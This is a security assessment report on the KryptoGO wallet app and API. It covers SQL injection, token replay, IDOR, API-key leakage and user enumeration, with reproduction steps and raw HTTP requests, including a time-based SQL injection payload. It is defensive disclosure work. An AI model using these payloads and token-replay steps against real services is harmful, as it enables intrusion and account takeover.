Fine penetration tests for fine websites

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Pentest-Report KryptoGO Mobile, API & Infra 01.2024

Cure53, Dr.-Ing. M. Heiderich, Dr. A. Pirker

Index

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Introduction

“Unleash your Web3's potential with KryptoGO's product modules - Explore diverse blockchain application modules covering compliance, security, and marketing. Easily manage multiple products through KryptoGO Studio backend. ”

From https://www.kryptogo.com/

This report describes the results of a security assessment of the KryptoGO complex, with the focus on the KryptoGO mobile app, as well as its backend API endpoints. The project, which included a penetration test, selected source code audits and general review, was carried out by Cure53 in January 2024.

Registered as *KGO-01*, the examination was requested by KryptoGO, Inc., in December 2023 and then scheduled to start the following month. Notably, the Cure53 team has assessed the KryptoGO mobile applications once before. Specifically, they were the main focus of an audit held in October and November 2023 (see *KGO-01*).

In terms of the exact timeline and specific resources allocated to *KGO-02*, Cure53 completed the research in CW03 of 2024. In order to achieve the expected coverage for this task, a total of four days were invested. In addition, it should be noted that a team of two senior testers was formed and assigned to the preparations, execution, documentation and delivery of this project.

For optimal structuring and tracking of tasks, the examination was split into two separate work packages (WPs):

- **WP1**: White-box penetration tests & source code audits against KryptoGO mobile app
- **WP2**: Gray-box penetration tests & assessments of KryptoGO backend API

As the titles of the WPs indicate, mixed-methods were used. While the methodology chosen for the mobile application entailed a white-box approach (WP1), the backend components (WP2) were examined through the prism of gray-box methods. Cure53 was provided with sources, the correct application versions, as well as all further means of access required to complete the tests. The provision of materials has been dedicated by the methodological framework adopted.

The project could be completed without any major problems. To facilitate a smooth transition into the testing phase, all preparations were completed in CW02, that is in the week preceding the actual tests. Throughout the engagement, communications were conducted via a private, dedicated and shared Slack channel. Stakeholders - including the Cure53 testers and the internal staff from KryptoGO - could participate in discussions in this space.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Not many questions had to be posed by Cure53 and the quality of all project-related interactions was consistently excellent. Ongoing exchanges contributed positively to the overall outcomes of this project. Significant roadblocks could be avoided thanks to clear and diligent preparation of the scope.

Cure53 offered frequent status updates about the test and the emerging findings. Initially, the decision was made not to do live-reporting during the project. However, as one major finding emerged, the details regarding its presence and impact were shared with KryptoGO on Slack.

The Cure53 team succeeded in achieving very good coverage of the WP1-WP2 targets. Of the eleven security-related discoveries, five were classified as security vulnerabilities and seven were categorized as general weaknesses with lower exploitation potential. Given the size of the scope, the total number of the problems should be seen as rather excessive.

On the one hand, the number of exploitable flaws severely decreased in *KGO-02,* as compared to *KGO-01.* On the other hand, the presence of serious risks, i.e., the *Critical* problem filed as KGO-02-011, points to KryptoGO warranting further improvement. In addition, it should be noted that discrepancy exists between WP1 and WP2 targets. Specifically, actual mobile applications (WP1) were only affected by few and far between flaws. The same could not be said for the backend components and API endpoints (WP2).

To clarify, the majority of findings - including all of the identified security vulnerabilities - were discovered within the backend components. This includes the *Critical*-severity issue that addresses an SQL injection vulnerability. In order to ensure safe usage of the applications, it is strongly recommended to resolve this finding as soon as possible.

The following sections first describe the scope and key test parameters, as well as how the WPs were structured and organized. Next, all findings are discussed in grouped vulnerability and miscellaneous categories. Flaws assigned to each group are then discussed chronologically. In addition to technical descriptions, PoC and mitigation advice will be provided where applicable.

The report closes with drawing broader conclusions relevant to this January 2024 project. Based on the test team's observations and collected evidence, Cure53 elaborates on the general impressions and reiterates the verdict. The final section also includes tailored hardening recommendations for the KryptoGO complex.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Scope

- **Penetration tests & source code audits against KryptoGO mobile apps, API & infra**
  - **WP1**: White-box penetration tests & source code audits against KryptoGO mobile app
    - **Source code:**
      - Relevant sources were shared with Cure53 in the form of a *.zip* archive
        - *kg-flutter.zip*
    - **Android application:**
      - https://play.google.com/store/apps/details?id=com.kryptogo.walletapp
    - **iOS application:**
      - https://apps.apple.com/us/app/kryptogo-bitcoin-nft-wallet/id1593830910
  - **WP2**: Gray-box penetration tests & assessments of KryptoGO backend API
    - **API URL:**
      - https://wallet.kryptogo.app/
  - **Test-supporting material was shared with Cure53**
  - **All relevant sources were shared with Cure53**

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Identified Vulnerabilities

The following section lists all vulnerabilities and implementation issues identified during the testing period. Notably, findings are cited in chronological order rather than by degree of impact, with the severity rank offered in brackets following the title heading for each vulnerability. Furthermore, each ticket has been given a unique identifier (e.g., *KGO-02-001)* to facilitate any future follow-up correspondence.

KGO-02-005 WP2: No post-use invalidation of *refresh* tokens *(Low)*

The KryptoGO mobile app uses several tokens, including an *access* token, to authenticate HTTP requests to the backend API. The app uses the */v1/oauth/refresh* endpoint of the backend to create new *access* tokens.

To that end, the mobile app provides a *refresh_token* field in the payload of the request. The backend fails to invalidate the provided token of the *refresh_token* field. An attacker that manages to acquire a valid *refresh_token* value could use this to generate multiple *access* tokens from it until the *refresh_token* expires.

Steps to reproduce:

1. Create a test environment in which the mobile app passes all traffic through an interception proxy like Burp.
2. Log in with a user that relies on email-based authentication to the mobile app.
3. In the interception proxy, observe a request to the */v1/oauth/refresh* endpoint, similar to the one shown below.

   Request:

   ```
   POST /v1/oauth/refresh HTTP/2
   [...]
   Authorization: Bearer eyJh<REDACTED>jMkeA
   [...]

   {"refresh_token":"eyJh<REDACTED>jMkeA"}
   ```

4. Send the request to Burp's repeater functionality and replay the request twice without changing its payload. This results in the two responses demonstrated below.

   Response #1:

   ```
   HTTP/2 200 OK
   [...]

   {"code":0,"data":{"access_token":"eyJh<REDACTED>HRdq_Q"}}
   ```

   Response #2:

   ```
   HTTP/2 200 OK
   ```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
[...]

{"code":0,"data":{"access_token":"eyJh<REDACTED>k3voOw"}}
```

5. It is evident that the same *refresh_token* field can be used multiple times in order to obtain new *access* tokens.

To mitigate this issue, Cure53 advises returning a new *refresh* token in addition to the *access* token. The backend must invalidate the used *refresh* tokens upon usage, since this mitigates the risk of replaying *refresh* tokens that have not expired but might be compromised[1].

KGO-02-006 WP2: Stolen *access* token allows indefinite impersonation *(Medium)*

***Note**: The issue has been fixed by the development team and the fix has been verified by Cure53, the problem as described no longer exists.*

As described in issue KGO-02-005, the backend API offers an endpoint to generate new *access* tokens through the */v1/oauth/refresh* endpoint. The purpose of the endpoint is to generate *access* tokens by providing a valid *refresh* token in the *refresh_token* field of the payload.

In general, *access* tokens correspond to short-lived tokens granting access to an API. In contrast, *refresh* tokens are long-lived tokens that an application uses to acquire new *access* tokens. Unfortunately, the KryptoGO platform does not differentiate between *access* tokens and *refresh* tokens. In fact, the mobile app uses the *access* token to obtain a new *access* token through the backend API.

In case an attacker manages to acquire a valid *access* token of a victim, they can extend their reach to the account of the victim beyond the lifetime of the *access* token. The attacker uses the */v1/oauth/refresh* endpoint to generate a new *access* token just before the current token expires. This results in an indefinite impersonation of the victim.

Steps to reproduce:

1. Create a test environment in which the mobile app passes all traffic through an interception proxy, like for example Burp.
2. Log in with a user that uses email-based authentication to the mobile app.
3. In the interception proxy, observe a request to the */v1/oauth/refresh* endpoint that is similar to the one shown below.

   Request:

   ```
   POST /v1/oauth/refresh HTTP/2
   [...]
   Authorization: Bearer eyJh<REDACTED>sTsg
   ```

[1] https://auth0.com/blog/refresh-tokens-what-are-they-and-when-to-use-them/

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
[...]
{"refresh_token":"eyJh<REDACTED>sTsg"}
```

4. Send the request shown above to Burp's repeater functionality, and send the request to the backend. This results in a new *access* token, as indicated in the response.

   Response:
   ```
   HTTP/2 200 OK
   [...]

   {"code":0,"data":{"access_token":"eyJh<REDACTED>nPV4g"}}
   ```

5. Decoding the token with the *access_token* field reveals that the token expires on *18.Jan.2024 10:53:43*.
6. Copy the value of the *access_token* field of the previous response into the HTTP *Authorization* header and the *refresh_token* field of the payload, then send the request.

   Request:
   ```
   POST /v1/oauth/refresh HTTP/2
   Host: wallet.kryptogo.app
   User-Agent: Dart/3.1 (dart:io)
   Accept-Encoding: gzip, deflate, br
   Content-Length: 899
   X-App-Name: KryptoGO
   Authorization: Bearer eyJh<REDACTED>nPV4g
   Content-Type: application/json; charset=utf-8
   X-App-Version: 2.27.3(195)
   X-Client-Id: 20b1905704bf329be7af231723fe30e3
   X-Platform: android

   {"refresh_token":"eyJh<REDACTED>nPV4g"}
   ```

   Response:
   ```
   HTTP/2 200 OK
   [...]
   {"code":0,"data":{"access_token":"eyJh<REDACTED>1H5RA"}}
   ```

7. Decoding the *access* token of the response above demonstrates that the token expires on *18.Jan.2024 10:56:25*. This shows that the acquired *access* tokens can be used to generate new *access* tokens with an extended lifetime.

To mitigate this issue Cure53 advises to differentiate between *access* tokens and *refresh* tokens in the backend.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

KGO-02-008 WP2: Asset information leakage through API endpoints *(Low)*

The KryptoGO backend contains an endpoint to retrieve the assets associated with a user. The mobile app uses this endpoint to display the assets of the authorized user from the app. It was found that the endpoint also revealed the assets of other users registered in the KryptoGO platform by providing their respective IDs. Similarly, the backend also contains an endpoint to retrieve the public profile of the user, i.e. the endpoint */v1/user/profile_home* which contains wallet-related information.

An attacker who somehow got in possession of the ID of a victim can use this endpoint to query the API for their assets. The information returned includes the address but also the values of the assets of the victim. This may violate the privacy of users. However, it must be noted that the attacker must get ahold of the victim's ID first.

The issue was discussed with the customer, and it was clarified that the endpoint returns the public/default wallets/assets created by the KryptoGO mobile app. The customer confirmed the issue at the assigned *Low* severity level, as it potentially raises privacy concerns for the users of the mobile app.

Steps to reproduce:

1. Create a test environment in which the mobile app passes all traffic through an interception proxy, like for example Burp.
2. Log in with a user to the mobile app and navigate to the assets and wallets of the user.
3. In the interception proxy, observe requests to the */v1/assets* endpoint. Send this request to Burp's repeater functionality and replace the value of the *uid* parameter with the *uid* of another user of the KryptoGO platform, as indicated in the requests below. Ultimately, send the request.

   Request:

```
GET /v1/assets?
uid=oZjZMmDgV0NdbZ6FgV3mEJ31okI3&force_update=true&include_unverified
=true&include_price_histories=true&page_number=1&page_size=20&chain_i
ds=eth&chain_ids=matic&chain_ids=arb&chain_ids=sol&chain_ids=btc&chai
n_ids=bsc&chain_ids=tron&chain_ids=kcc&chain_ids=ronin&chain_ids=oasy
s HTTP/2
Host: wallet.kryptogo.app
User-Agent: Dart/3.1 (dart:io)
Accept-Encoding: gzip, deflate, br
X-App-Name: KryptoGO
Authorization: Bearer eyJh<REDACTED>PR991A
X-App-Version: 2.27.3(195)
X-Client-Id: 20b1905704bf329be7af231723fe30e3
X-Platform: android
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Response:

```
HTTP/2 200 OK
[...]

{"code":0,"data":{"assets":
[{"chain_id":"eth","asset_group":"0x4fabb145d64652a948d72533023f6e7a6
23c7c53","asset_type":"token","name":"Binance
USD","is_verified":true,"symbol":"BUSD","floor_price_in_eth":null,"am
ount":0,"amount_str":"0","usd_value":0,"token_type":"","decimals":18,
"price":1.002,"wallets":
[{"address":"0xEb0616172dae49b46D33D17ba250e36Bb15C0Abe","amount":0,"
amount_str":"0.000000","usd_value":0}],[...]
```

4. The response of the backend returns the assets of the user with *uid oZjZMmDgV0NdbZ6FgV3mEJ31okI3*, however, the JWT of the request was issued for the user with *uid XrdvqZadRJWL7JHJShc9coT5UQ93*, as demonstrated by the decoded JWT token below.

JWT decoded:

```
Payload = {
  "aud": "https://kryptogo.com",
  "exp": 1705593748,
  "sub": "XrdvqZadRJWL7JHJShc9coT5UQ93",
  "scope": "[...]",
  "client_id": "20b1905704bf329be7af231723fe30e3"
}
```

To mitigate this issue Cure53 advises to not return any assets of other users through the affected endpoint. The app should provide an option for its users to choose whether asset and wallet information should be available to other users or not.

KGO-02-009 WP2: Leakage of API keys through proxy endpoint *(Medium)*

***Note**: The issue has been fixed by the development team and the fix has been verified by Cure53, the problem as described no longer exists.*

Dynamic testing of the KryptoGO mobile app revealed that, on several occasions, the tested app used external services to retrieve on-chain information through third-party services. These third-party services include *etherscan* and *Alchemy*, amongst others.

The mobile app uses the */v1/proxy_3rd_party* endpoint of the backend to issue requests to those external services. The backend acts as a proxy in this setting. It was found that the */v1/proxy_3rd_party* endpoint revealed the API keys of those external services within error messages of the malformed URLs in the payload associated with requests.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

To acquire such API keys an attacker, who is a legitimate user of the KryptoGO mobile app, issues requests containing malformed URLs to the */v1/proxy_3rd_party* endpoint. The API returns the API keys of those external services in its responses, which enables the attacker to use the paid subscription of KryptoGO for their own requests.

Steps to reproduce:

1. Create a test environment in which the mobile app passes all traffic through an interception proxy, like for example Burp.
2. Log in with a user to the mobile app.
3. In the interception proxy, observe requests to the */v1/proxy_3rd_party* endpoint. Send this request to Burp's repeater functionality and modify the request as indicated in the requests below. Send the requests to the backend, resulting in the responses demonstrated below.

   Request #1:

```
POST /v1/proxy_3rd_party HTTP/2
[...]

{"method":"POST","path":"https://eth-mainnet.alchemyapi.io/v2/
{api_key_from_backend}/../{api_key_from_backend}",
"body":{
        "jsonrpc": "2.0",
        "method": "method",
        "params":"params",
        "id": 1
}}
```

   Response #1:

```
HTTP/2 405 Method Not Allowed
[...]

{"_embedded":{"errors":[{"_embedded":{},"_links":
{},"logref":null,"message":"Method [POST] not allowed for URI
[/v2/co9<REDACTED>hcv/../co9<REDACTED>hcv]. [...]
```

4. Through this response, the backend reveals the API key of the *Alchemy* service.

   Request #2:

```
POST /v1/proxy_3rd_party HTTP/2
[...]

{"method":"GET","path":"ht://api.etherscan.io/api?
module=gastracker&action=gasoracle"}
```

   Response #2:

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
HTTP/2 400 Bad Request
[...]

{"status":400,"code":1004,"request_id":"2d7f3516-3420-42d0-afb9-
30ea5f6590ef","message":"Get \"ht://api.etherscan.io/api?
action=gasoracle\u0026apikey=MNY<REDACTED>Z7E\
u0026module=gastracker\": unsupported protocol scheme \"ht\"",[...]
```

5. Through this response, the backend reveals the API key of the *etherscan* service.

To mitigate this issue Cure53 advises to sanitize all error messages of the backend before returning them to the mobile app[2].

KGO-02-011 WP2: SQL injection through prizes endpoint *(**Critical**)*

***Note**: The issue has been fixed by the development team and the fix has been verified by Cure53, the problem as described no longer exists.*

The KryptoGO backend API includes an endpoint to query for prizes, which operates with several parameters. The parameters include a *contract_address* and a *token_id* parameter, both treated by the backend as strings. Dynamic testing confirmed that the backend embeds both parameters unsanitized into an SQL query, resulting in an SQL injection vulnerability.

This vulnerability means that attackers who are users of the KryptoGO mobile app can inject SQL payloads into the query executed by the KryptoGO backend against its database. Such vulnerabilities have potentially a multitude of consequences, including information extraction, data manipulations, password recovery and - in rare cases - even RCE[3][4] when the conditions are right.

The vulnerability was discovered at the end of the engagement, leaving no time to further explore this line of inquiry. Importantly, it must be noted that registration to the KryptoGO mobile is free and can be completed without paying fees.

The issue was immediately disclosed to the customer. It was confirmed that the backend embedded both the *contract_address* and *token_id* parameter unsanitized into the resulting SQL query.

Steps to reproduce:

1. Create a test environment in which the mobile app passes all traffic through an interception proxy, like for example Burp.
2. Log in with a user to the mobile app. Navigate to the *Collectibles* and *Explorer* tab.

[2] https://cheatsheetseries.owasp.org/cheatsheets/Error_Handling_Cheat_Sheet.html
[3] https://kayran.io/blog/web-vulnerabilities/sqli-to-rce/
[4] https://www.oxeye.io/resources/rce-through-sql-injection-vulnerability-in-hashicorps-vault

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

3. In the interception proxy, observe requests to the */v1/prizes* endpoint. Send this request to Burp's repeater functionality and modify the request as indicated in the requests below.

   Request:

```
GET /v1/prizes?type=ACTIVE&page_sort=publish_time
%3Ad&page_size=10&page_number=1&chain_id=matic&contract_address=evil
%27%29%20%4f%52%20%28%73%65%6c
%65%63%74%20%31%20%77%68%65%72%65%20%73%6c
%65%65%70%28%32%30%29%29%20%2d%2d%20%2d&token_id=2597&q= HTTP/2
Host: wallet.kryptogo.app
User-Agent: Dart/3.1 (dart:io)
Accept-Encoding: gzip, deflate, br
X-App-Name: KryptoGO
Authorization: Bearer eyJh<REDACTED>opgFDA
X-App-Version: 2.27.3(195)
X-Client-Id: 20b1905704bf329be7af231723fe30e3
X-Platform: android
```

4. The *contract_address* parameter contains the injection payload URL-encoded after the *evil* string. Decoding the injection payload results in the payload demonstrated below.

   Injection-payload - sleeping for 20 seconds:

```
') OR (select 1 where sleep(20)) -- -
```

5. Sending the request to the backend results in an *OK* response with a 40 second delay. It is strongly believed that the resulting query is executed twice, since sending the payload indicated below results in a waiting time of 20 seconds.

   Injection-payload - sleeping for 10 seconds:

```
') OR (select 1 where sleep(10)) -- -
```

Cure53 strongly recommends sanitizing all parameters of SQL queries before embedding them into the resulting SQL commands. Alternatively, prepared statements could be used[5].

[5] https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Miscellaneous Issues

This section covers any and all noteworthy findings that did not incur an exploit but may assist an attacker in successfully achieving malicious objectives in the future. Most of these results are vulnerable code snippets that did not provide an easy method by which to be called. Conclusively, whilst a vulnerability is present, an exploit may not always be possible.

KGO-02-001 WP1: Screenshots allowed for security-sensitive screens *(Info)*

Dynamic testing of the KryptoGO mobile app revealed that the app lets its users export seed phrases of the wallets. To that end, the user navigates to the wallet, and opens the export seed phrase window. In case a PIN code is set, the user must enter the correct PIN to reveal the seed phrase.

For biometric authentication, the user must present the matching fingerprint. After successful authentication the user reveals the seed phrase. However, it was found that the mobile app allows its user to take a screenshot of the uncovered seed phrase. Similarly, a user can take a screenshot of its revealed private key. It must be noted that the mobile app warns the user about the sensitive nature of the content within the screenshot.

The issue was discussed with the customer, and confirmed as a feature, despite its security implications. However, due to the emergent risk-potential, it was decided to file this issue as part of this assessment.

Steps to reproduce:

1. Create a new wallet for a user within the KryptoGO mobile app.
2. Navigate to the wallet and uncover the seed phrase.
3. Take a screenshot of the revealed seed phrase.

To mitigate this issue Cure53 recommends forbidding screenshots of security-sensitive screens. Alternatively, the app should make it possible for users to export sensitive data to a file that is encrypted using a strong cipher. This should be equipped with a password chosen by the user as a seed to a key derivation function.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

KGO-02-002 WP1: Insecure defaults for sensitive information *(Info)*

When a new user is created in the KryptoGO mobile app, a new wallet is also automatically created at this time. By default, the app fails to apply appropriate security measures, including setting either PIN code or biometrics (i.e. fingerprint) for authenticating wallet actions, or to lock the wallet in case of long idle times. This circumstance in itself does not constitute a vulnerability, however, it deviates from security best practices concerning application of secure defaults[6].

To mitigate this issue Cure53 advises implementing a secure-by-default approach. For example, on creating a new user, the app should require the user to set an authentication scheme, either via a PIN or biometric authentication. Furthermore, per default, the app should be locked in case no user interaction takes place for several minutes.

KGO-02-003 WP1: No exponential back-off for PIN authentication *(Low)*

***Note**: The issue has been fixed by the development team and the fix has been verified by Cure53, the problem as described no longer exists.*

The KryptoGO mobile app enables users to configure a PIN-based authentication as an additional security measure against attackers having physical access to the phone. To that end, the user configures a six-digit code, and the app prompts the user for the PIN code on several occasions, for example when revealing the seed phrase of a user or alike.

It was found that the app fails to implement an exponential back-off mechanism on failed authentication attempts. Hence, an attacker having physical access to the unlocked phone of a victim having the KryptoGO mobile app open could attempt to recover the PIN code of the victim. If successful, the attacker could reveal the seed phrase of the victim, or perform any other action that requires the PIN code of the user.

Steps to reproduce:

1. Create a new user in the KryptoGO mobile app.
2. Create new wallets as part of the onboarding process.
3. Configure a PIN as an additional security setting.
4. Navigate to the wallet of the user and attempt to export the wallet. This opens the PIN code authentication screen of the mobile app.
5. Enter the wrong PIN multiple times in a row.
6. Entering the correct PIN immediately reveals the seed phrase of the wallet.

To mitigate this issue Cure53 advises implementing an exponential back-off for PIN code authentication.

[6] https://cheatsheetseries.owasp.org/cheatsheets/Secure_[...]_Sheet.html#5-configuration

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

KGO-02-004 WP1-2: Logout fails to invalidate *access* tokens *(Low)*

To communicate with the backend API, the KryptoGO mobile app receives an *access* token after successful authentication. The app provides the *access* token in all consequent requests to the backend API. However, the app's logout functionality actually does not invalidate the corresponding *access* token on the backend.

An attacker who has an *access* token of a victim could continue impersonating the victim until the token expires. The expiration time of the token corresponds to one day; however, it must be noted that due to issue KGO-02-006, a stolen *access* token lets the attacker impersonate the victim indefinitely.

Steps to reproduce:

1. Create a test environment in which the mobile app passes all traffic through an interception proxy, like for example Burp.
2. Log in as a user of the mobile app.
3. In the interception proxy, observe any authenticated request to one of the endpoints of the backend API, and send it to Burp's repeater functionality. There, send the request to the backend and observe the response, as indicated below.

Request:

```
POST /v1/proxy_3rd_party HTTP/2
Host: wallet.kryptogo.app
User-Agent: Dart/3.1 (dart:io)
Accept-Encoding: gzip, deflate, br
Content-Length: 89
Authorization: Bearer eyJh<REDACTED>Y0JOg
X-App-Name: KryptoGO
Content-Type: application/json; charset=utf-8
X-App-Version: 2.27.3(195)
X-Client-Id: 20b1905704bf329be7af231723fe30e3
X-Platform: android

{"method":"GET","path":"https://api.etherscan.io/api?
module=gastracker&action=gasoracle"}
```

Response:

```
HTTP/2 200 OK
[...]
Date: Wed, 17 Jan 2024 14:48:55 GMT
[...]

{"message":"OK","result":
{"FastGasPrice":"40","LastBlock":"19027301","ProposeGasPrice":"38","S
afeGasPrice":"38","gasUsedRatio":"0.380863933333333,0.3794351,0.48000
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

3490074725,0.395163002152135,0.726236433333333","suggestBaseFee":"37.
689342536"},"status":"1"}

4. Logout from the mobile app.

5. After the logout, send the request from *Step 3* again, resulting in the request-response pair demonstrated below.

   Request:

```
POST /v1/proxy_3rd_party HTTP/2
Host: wallet.kryptogo.app
User-Agent: Dart/3.1 (dart:io)
Accept-Encoding: gzip, deflate, br
Content-Length: 89
Authorization: Bearer eyJh<REDACTED>Y0JOg
X-App-Name: KryptoGO
Content-Type: application/json; charset=utf-8
X-App-Version: 2.27.3(195)
X-Client-Id: 20b1905704bf329be7af231723fe30e3
X-Platform: android

{"method":"GET","path":"https://api.etherscan.io/api?
module=gastracker&action=gasoracle"}
```

   Response:

```
HTTP/2 200 OK
[...]
Date: Wed, 17 Jan 2024 14:52:59 GMT
[...]

{"message":"OK","result":
{"FastGasPrice":"39","LastBlock":"19027321","ProposeGasPrice":"37","S
afeGasPrice":"37","gasUsedRatio":"0.7020007,0.347129933333333,0.61590
0666666667,0.329145233333333,0.388988966666667","suggestBaseFee":"36.
007816061"},"status":"1"}
```

6. From this response it is evident that the backend fails to invalidate the *access* token after the user completes a logout action.

To mitigate this issue Cure53 advises implementing a logout endpoint on the backend. The mobile app should consequently issue a request to this endpoint in case the user performs a logout. The handler of the logout endpoint needs to invalidate the *access* token of the user.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

KGO-02-007 WP2: User-enumeration on backend API *(Info)*

While dynamically testing the backend API, it was identified that the API offers the endpoints */v1/user/email* and */v1/user/phone_number*. These endpoints require the *Kg-Wallet-Token* HTTP header of a user and aim to verify a code for either an email address or a phone number. The endpoint, however, leaks the existence of users. Furthermore, it must be noted that the endpoint does not implement any rate limiting.

An attacker who is a legitimate user of the KryptoGO mobile app could acquire *id_token*, corresponding to the *Kg-Wallet-Token* HTTP header. This relies on successful authentication and can be then used to enumerate users of the KryptoGO mobile app. More broadly, the attacker can use this information to identify potential targets for more sophisticated attacks.

Steps to reproduce:

1. Create a test environment in which the mobile app passes all traffic through an interception proxy, like for example Burp.
2. Log in with a user that authenticates via email to the mobile app. In Burp, observe a request to the */v1/login* endpoint. The response to this request is similar to the one demonstrated below.

   Request:

```
HTTP/2 200 OK
[...]

{"code":0,"data":
{"access_token":"[...]","id_token":"eyJh<REDACTED>FLJaA","kg_token":"
[...]"}}
```

3. It must be noted that the response contains the *id_token* field of the authenticated user.

4. In the interception proxy, observe any authenticated request to one of the endpoints of the backend API. Send the request to Burp's intruder functionality, and modify it to match the request indicated below.

   Request:

```
PUT /v1/user/email HTTP/2
Host: wallet.kryptogo.app
User-Agent: Dart/3.1 (dart:io)
Accept-Encoding: gzip, deflate, br
Content-Length: 65
X-App-Name: KryptoGO
Kg-Wallet-Token:  eyJh<REDACTED>FLJaA
Content-Type: application/json; charset=utf-8
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
X-App-Version: 2.27.3(195)
X-Client-Id: 20b1905704bf329be7af231723fe30e3
X-Platform: android

{
"email":"§enum§@cure53.de",
"verification_code":"1234567"
}
```

5. In the request, paste the *id_token* from step 2 to the *Kg-Wallet-Token* HTTP header and make sure that the value *§enum§* was added as a variable.

6. In the *Payloads* tab, choose *Usernames* from the *Add from list …* combo-box. Further, as a last entry, add a valid email name from the domain of the *email* field from *Step 3*. Start the attack by clicking on the *Start Attack* button.

7. Observe that the very last request succeeds with a response similar to the one shown below.

   Response:

```
HTTP/2 400 Bad Request
[...]

{"status":400,"code":1045,"request_id":"02d3d205-4edc-49e9-bd49-
6e7d2fc1f7c5","message":"email is
used","path":"/v1/user/email","timestamp":1705505266}
```

8. It must be noted that similar reproduction steps apply to the */v1/user/phone_number* endpoint.

To mitigate this issue Cure53 advises implementing rate-limiting for the endpoints */v1/user/email* and */v1/user/phone_number*.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

KGO-02-010 WP2: *Kg-Token* leakage through OAuth callback URL *(Info)*

The KryptoGO mobile app allows users to authenticate either via email/phone or by using a Google account. The OAuth authentication flow of the app issues a request to */auth/oauth-callback* endpoint of the *accounts.kryptogo.com* host. This request includes a *kg_token* parameter which provides the *Kg-Token* of a user to the *accounts.kryptogo.com* host. It was found that the */v1/oauth/authorize* endpoint of the *wallet.kryptogo.app* host uses this very same token within the *Kg-Token* HTTP header field to create a new, valid *access* token.

Leaking *access* tokens through URL query parameters is discouraged from a security perspective. Many proxies, gateways or ingress controllers log the paths of HTTP requests by default. This potentially leaks the *kg_token* parameter to such logs.

Steps to reproduce:

1. Create a test environment in which the mobile app passes all traffic through an interception proxy, like for example Burp.
2. Create a new user account in the KryptoGO mobile app. Use Google as an authentication provider.
3. Log in with the Google user to the mobile app and observe in Burp's history a request to the */auth/oauth-callback* endpoint of the *accounts.kryptogo.com* host, similar to the one shown below.

   Request:

   ```
   GET /auth/oauth-callback?kg_token=eyJh<REDACTED>9VmIec HTTP/2
   Host: accounts.kryptogo.com
   [...]
   ```

4. This request demonstrates the leakage of the *kg_token* through the *kg_token* HTTP parameter.

5. Some requests later, again using Burp's history, observe a request to the */v1/oauth/authorize* endpoint of the *wallet.kryptogo.app* host. It must be noted that the same value as the *kg_token* field is used within this request's *Kg-Token* HTTP header.

   Request:

   ```
   GET /v1/oauth/authorize?
   client_id=20b1905704bf329be7af231723fe30e3&redirect_uri=https%3A%2F
   %2Fwallet.kryptogo.app%2Fv1%2Foauth
   %2Fcallback&response_type=token&scope=wallet.allWallets%3Aread
   %2Cvault%3Aread%2Cvault%3Awrite%2Cvault%3Adelete%2Cuser.password
   %3Awrite%2Cwallet.defaultWallets%3Awrite%2Cwallet.defaultWallets
   %3Aread%2Casset%3Aread%2Cnotification%3Aread%2Ctransaction%3Awrite
   %2Cuser.kycState%3Aread%2Cuser.kycState%3Awrite%2Cwallet.allWallets
   %3Awrite%2Cwallet.allWallets%3Adelete%2Ctoken%3Arevoke%2Casset
   ```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
%3Awrite%2Cnotification%3Awrite%2Ctransaction%3Aread%2Cuser.info
%3Awrite%2Cuser.info%3Aread%2Cuser%3Adelete%2Cchatroom%3Aread
%2Cchatroom%3Awrite%2Corder%3Awrite%2Corder%3Aread&state=SdA0WyXQ45
HTTP/2
Host: wallet.kryptogo.app
[...]
Kg-Token: eyJh<REDACTED>9VmIec
[...]
```

6. The response to this request is similar to the one below.

   Response:

```
HTTP/2 302 Found
Cache-Control: no-cache, max-age=0
Content-Type: text/html
Location:
https://wallet.kryptogo.app/v1/oauth/callback#access_token=eyJh<REDAC
TED>dTYZCg&expires_in=86400&refresh_token=N2IWYJC2YTCTNWMXNY01MZUXLWI
3NTUTYWU1OTCZMZQ2NGFH&scope=wallet.allWallets:read,vault:read,vault:w
rite,vault:delete,user.password:write,wallet.defaultWallets:write,wal
let.defaultWallets:read,asset:read,notification:read,transaction:writ
e,user.kycState:read,user.kycState:write,wallet.allWallets:write,wall
et.allWallets:delete,token:revoke,asset:write,notification:write,tran
saction:read,user.info:write,user.info:read,user:delete,chatroom:read
